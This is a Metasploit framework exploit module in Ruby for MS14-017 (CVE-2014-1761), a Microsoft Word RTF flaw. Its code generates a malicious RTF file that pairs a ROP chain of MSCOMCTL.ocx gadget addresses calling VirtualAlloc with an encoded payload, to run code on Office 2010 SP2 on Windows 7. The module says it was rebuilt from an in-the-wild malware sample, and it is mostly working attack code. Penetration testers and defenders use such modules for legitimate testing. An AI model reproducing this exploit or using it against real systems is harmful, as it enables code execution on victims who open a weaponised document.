metasploit-framework/modules/exploits/windows/fileformat/ms14_017_rtf.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "MS14-017 Microsoft Word RTF Object Confusion",
      'Description'    => %q{
        This module creates a malicious RTF file that when opened in
        vulnerable versions of Microsoft Word will lead to code execution.
        The flaw exists in how a listoverridecount field can be modified
        to treat one structure as another.

        This bug was originally seen being exploited in the wild starting
        in April 2014. This module was created by reversing a public
        malware sample.
      },
      'Author'         =>
        [
          'Haifei Li', # vulnerability analysis
          'Spencer McIntyre',
          'unknown' # malware author
        ],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2014-1761'],
        ['MSB', 'MS14-017'],
        ['URL', 'http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers'],
        ['URL', 'https://www.virustotal.com/en/file/e378eef9f4ea1511aa5e368cb0e52a8a68995000b8b1e6207717d9ed09e8555a/analysis/']
      ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
          'Space'           => 375,
          'DisableNops'     => true
        },
      'Targets'        =>
        [
          # winword.exe v14.0.7116.5000 (SP2)
          [ 'Microsoft Office 2010 SP2 English on Windows 7 SP1 English',   {  } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Apr 1 2014'))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf'])
      ])
  end

  def exploit
    junk = rand(0xffffffff)
    rop_chain = [
      0x275de6ae, # ADD ESP,0C # RETN [MSCOMCTL.ocx]
      junk,
      junk,
      0x27594a2c, # PUSH ECX # POP ESP # AND DWORD PTR [ESI+64],0FFFFFFFB # POP ESI # POP ECX # RETN [MSCOMCTL.ocx]
      0x2758b042, # RETN [MSCOMCTL.ocx]
      0x2761bdea, # POP EAX # RETN [MSCOMCTL.ocx]
      0x275811c8, # ptr to &VirtualAlloc() [IAT MSCOMCTL.ocx]
      0x2760ea66, # JMP [EAX] [MSCOMCTL.ocx]
      0x275e0081, # POP ECX # RETN [MSCOMCTL.ocx]
      0x40000000,
      0x00100000,
      0x00003000,
      0x00000040,
      0x00001000,
      0x275fbcfc, # PUSH ESP # POP EDI # POP ESI # RETN 8 [MSCOMCTL.ocx]
      junk,
      0x275e0861, # MOV EAX,EDI # POP EDI # POP ESI # RETN [MSCOMCTL.ocx]
      junk,
      junk,
      junk,
      junk,
      0x275ebac1, # XCHG EAX,ESI # NOP # ADD EAX,MSORES+0x13000000 # RETN 4 [MSCOMCTL.ocx]
      0x275e0327, # POP EDI # RETN [MSCOMCTL.ocx]
      junk,
      0x40000000,
      0x275ceb04, # REP MOVS BYTE [EDI],BYTE [ESI] # XOR EAX,EAX # JMP MSCOMCTL!DllGetClassObject0x3860 [MSCOMCTL.ocx]
      junk,
      junk,
      junk,
      junk,
      0x40000040
    ].pack("V*")

    exploit_data  = [ junk ].pack("v")
    exploit_data << rop_chain
    exploit_data << payload.encoded
    exploit_data << make_nops(exploit_data.length % 2)
    exploit_data  = exploit_data.unpack("v*")
    exploit_data  = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" }
    exploit_data  = exploit_data.join

    template_part1 = 0x1e04
    template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1761.rtf")
    template_rtf = ::File.open(template_path, 'rb')

    exploit_rtf  = template_rtf.read(template_part1)
    exploit_rtf << exploit_data
    exploit_rtf << template_rtf.read

    file_create(exploit_rtf)
  end
end